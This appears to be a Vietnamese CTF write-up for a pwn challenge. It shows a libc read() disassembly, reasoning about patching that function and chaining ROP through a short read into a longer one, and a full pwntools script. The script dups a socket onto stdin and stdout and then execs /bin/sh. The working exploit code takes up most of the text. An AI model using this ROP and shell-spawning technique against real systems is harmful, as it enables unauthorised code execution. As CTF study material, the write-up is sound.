   0x7ac3b471499a <read+26>     nop    dword ptr [r8 + r8]
   0x7ac3b47149a0 <read+32>     mov    qword ptr [rsp + 0x18], rdx
   0x7ac3b47149a9 <read+41>     mov    qword ptr [rsp + 0x10], rsi
   0x7ac3b47149ae <read+46>     mov    dword ptr [rsp + 8], edi
   0x7ac3b47149b2 <read+50>     call   __pthread_enable_asynccancel <__pthread_enable_asynccancel>
 
   0x7ac3b47149b7 <read+55>     mov    rdx, qword ptr [rsp + 0x43]
   0x7ac3b47149bc <read+60>     mov    rsi, qword ptr [rsp + 0x10]
   0x7ac3b47149c1 <read+65>     mov    r8d, eax
   0x7ac3b47149c4 <read+68>     mov    edi, dword ptr [rsp + 8]
   0x7ac3b47149c8 <read+72>     xor    eax, eax                        EAX => 0
b+ 0x7ac3b47149ca <read+74>     syscall <SYS_read>
   0x7ac3b47149cc <read+76>     cmp    rax, -0x1000
   0x7ac3b47149d2 <read+82>     mov    edi, r8d
   0x7ac3b47149d7 <read+87>     mov    qword ptr [rsp + 8], rax
   0x7ac3b47149dc <read+92>     call   __pthread_disable_asynccancel <__pthread_disable_asynccancel>
 
   0x7ac3b47149e1 <read+97>     mov    rax, qword ptr [rsp + 8]
   0x7ac3b47149e6 <read+102>    add    rsp, 0x43
   0x7ac3b47149ea <read+106>    ret   
 
   0x7ac3b47149eb <read+107>    nop    dword ptr [rax + rax]
   0x7ac3b47149f0 <read+112>    mov    rdx, qword ptr [rip + 0x104419]     RDX, [0x7ac3b4818e10] => 0xffffffffffffff80
   0x7ac3b47149f7 <read+119>    neg    eax
   0x7ac3b47149f9 <read+121>    mov    dword ptr fs:[rdx], eax
   0x7ac3b47149fc <read+124>    mov    rax, 0xffffffffffffffff
   0x7ac3b4714a03 <read+131>    ret   
 
   0x7ac3b4714a04 <read+132>    nop    dword ptr [rax]
   0x7ac3b4714a08 <read+136>    mov    rdx, qword ptr [rip + 0x104401]     RDX, [0x7ac3b4818e10] => 0xffffffffffffff80
   0x7ac3b4714a0f <read+143>    neg    eax
   0x7ac3b4714a11 <read+145>    mov    dword ptr fs:[rdx], eax
   0x7ac3b4714a14 <read+148>    mov    rax, 0xffffffffffffffff
   0x7ac3b4714a1b <read+155>    jmp    read+84                     <read+84>

Việc bây giờ của mình là nhập một đoạn ROP với syscall đầu tại read+16, có các tham số là read(socket_fd, buf, 0x40uLL). Mình nhập payload sao cho rsp + 0x43 là bắt đầu của ROP. Thế thì ở read+55, rdx sẽ được gán giá trị cực lớn bởi vì giá trị đó là địa chỉ libc. Sau đó ở read+102, rsp + 0x43 sẽ nhảy đến ROP của mình.

NHƯNG! vấn đề là ko đủ độ dài để nhập ROP execve hoàn chỉnh, chỉ có 0x40 = 64 bytes thôi :0. Thế thì sao ko thay bằng system() là được? rsp + 0x43 làm stack lệch mất còn đâu, ko align 16 byte thì ko system() được. Thế thì ROP để align rsp trước rồi system()? Nhưng mà cũng có địa chỉ stack đâu mà align xong nhảy đến (vì dù có stack base từ map nhưng địa chỉ stack đâu có ổn định). Thế thì ghi full ROP execve ra một vùng nào đó trong libc trước, rồi bây giờ ROP để stack pivot ra đó là được? Nhưng mà chỉ nhập 64 bytes thì cũng ko đủ :))

Thế thì ROP để đọc ROP dài hơn vào thì sao? Mình đã có rdx cực to rồi, bây giờ ROP để overflow trên stack rồi ghi đè return address thì sao nhỉ? Ok kế hoạch tiếp theo là:

  1. ROP để đặt rdi = 1337, đặt rsi = một địa chỉ stack nào đó (bàn sau), sau đó nhảy đến read+72 đặt rax = 0 sau đó gọi syscall read(). Mình sẽ có được read(1337, địa chỉ stack nào đó, rdx).
  2. Syscall xong chạy đến read+106 để ret. Bây giờ mình để ý rsp ở đây. Mình thấy nó cách stack base một khoảng là 0x1ff90, loanh quanh ở đây, vì vị trí các thứ trên stack ko có offset ổn định với stack base.
  3. Ok bây giờ mình ước lượng được khoảng này rồi, cái rsi trên kia mình sẽ lùi nó về stack base + 0x1ff90 - 0x1200 chẳng hạn. Khi syscall read ở read+74, mình nhập một đoạn ROP rất dài bắt đầu với toàn nop rồi mới execve, bởi vì mình ko biết chắc rsp sẽ rơi vào chỗ nào trên stack, nên nếu nó rơi vào rop thì nó sẽ liên tục ret và cuối cùng đến execve.
  4. Tuy nhiên lưu ý, vì lý do nào đó, mình chỉ có thể nhập dữ liệu ko quá 1 page (4096 bytes), nên ko để quá nhiều nop, vừa đủ để rsp rơi vào là được.

NHƯNG! lại có vấn đề, spawn được shell nhưng process shell tắt luôn, ko interactive() được trong pwntools. Nguyên nhân có thể lại nằm ở các cái fd, stdin, stdout, khiến cho shell ko đọc đc stdin và kết thúc. Nên trong ROP, trước khi execve, mình cần phải dup2(1337, 0) và dup2(1337, 1), để stdin và stdout cùng trỏ đến socket có thể giao tiếp. Khi binary execve ra shell thì mình mới interactive() được.

Mình sẽ sử dụng syscall; ret trong write() để return sau khi syscall dup2():

Lưu ý là do địa chỉ stack ở trên mình ước lượng, nên exploit có lúc ko được.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *read+74
# b *write+21
set follow-fork-mode parent
set detach-on-fork on
continue
c
'''

def conn():
    if args.LOCAL:
        p = process([exe.path], stdin=PTY)
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 43461
        return remote(host, port)

p = conn()

sleep(0.5)

def w(addr, length):
    print(f'addr={hex(addr)} len={length}')
    sl(p, f'{hex(addr)} {length}'.encode())
    sleep(0.1)

r = b''
while True:
    r = rl(p)
    if b'libc.so.6' in r:
        libc.address = leak_hex(r[:12])
        break
lg("libc base", libc.address)

stack = 0
r = b''
while True:
    r = rl(p)
    if b'stack' in r:
        stack = leak_hex(r[:12])
        break
lg("stack", stack)

# <read+32>    sub    rsp, 0x28
print("\nremove <read+32>: sub rsp, 0x28")
for i in range(4):
    w(libc.address + 0x1149a0 + i, 1)

# <read+55>    mov    rdx, qword ptr [rsp + 0x18]
print("\nmodify <read+55> to: mov rdx, qword ptr [rsp + 0x43]")
w(libc.address + 0x1149b7 + 4, 1)

# <read+82>    ja     read+136
print("\nremove <read+82>: ja read+136")
for i in range(2):
    w(libc.address + 0x1149d2 + i, 1)

# <read+102>    add    rsp, 0x28
print("\nmodify <read+102> to: add rsp, 0x43")
w(libc.address + 0x1149e6 + 3, 1)

# <read+26>    ret
print("\nremove <read+26>: ret")
w(libc.address + 0x11499a, 1)

print("\nROP for larger ROP")
pl = flat(
    pad(0xb),
    libc.address + 0x000000000002a3e5, # pop rdi ; ret
    1337,
    libc.address + 0x000000000002be51, # pop rsi ; ret
    stack + 0x1ff90 - 0x1200 - 2,
    libc.symbols['read']+72
)
sl(p, pl)

sleep(0.25)

sl(p, b'A')

sleep(0.25)

print("\nROP for shell")
pl = p64(libc.address + 0x00000000000378df) * 485
pl += flat(
    # dup2(1337, 0)
    libc.address + 0x000000000002a3e5, # pop rdi ; ret
    1337,
    libc.address + 0x000000000002be51, # pop rsi ; ret
    0,
    libc.address + 0x0000000000045eb0, # pop rax ; ret
    33, # dup2
    libc.symbols['write'] + 21, # syscall; ...; ret
    
    # dup2(1337, 1)
    libc.address + 0x000000000002a3e5, # pop rdi ; ret
    1337,
    libc.address + 0x000000000002be51, # pop rsi ; ret
    1,
    libc.address + 0x0000000000045eb0, # pop rax ; ret
    33, # dup2
    libc.symbols['write'] + 21, # syscall; ...; ret
    
    # execve("/bin/sh", 0, 0)
    libc.address + 0x000000000002a3e5, # pop rdi ; ret
    binsh(libc),
    libc.address + 0x000000000002be51, # pop rsi ; ret
    0,
    libc.address + 0x000000000011f497, # pop rdx ; pop r12 ; ret
    0, 0,
    libc.address + 0x0000000000045eb0, # pop rax ; ret
    0x3b,
    libc.address + 0x0000000000029db4, # syscall
)
sl(p, pl)

print("\nspawning shell...")
rr(p, 1)

ia(p)